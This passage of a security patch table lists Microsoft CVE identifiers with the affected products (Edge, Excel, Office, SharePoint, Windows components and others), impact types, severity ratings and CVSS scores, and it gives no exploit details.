EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows 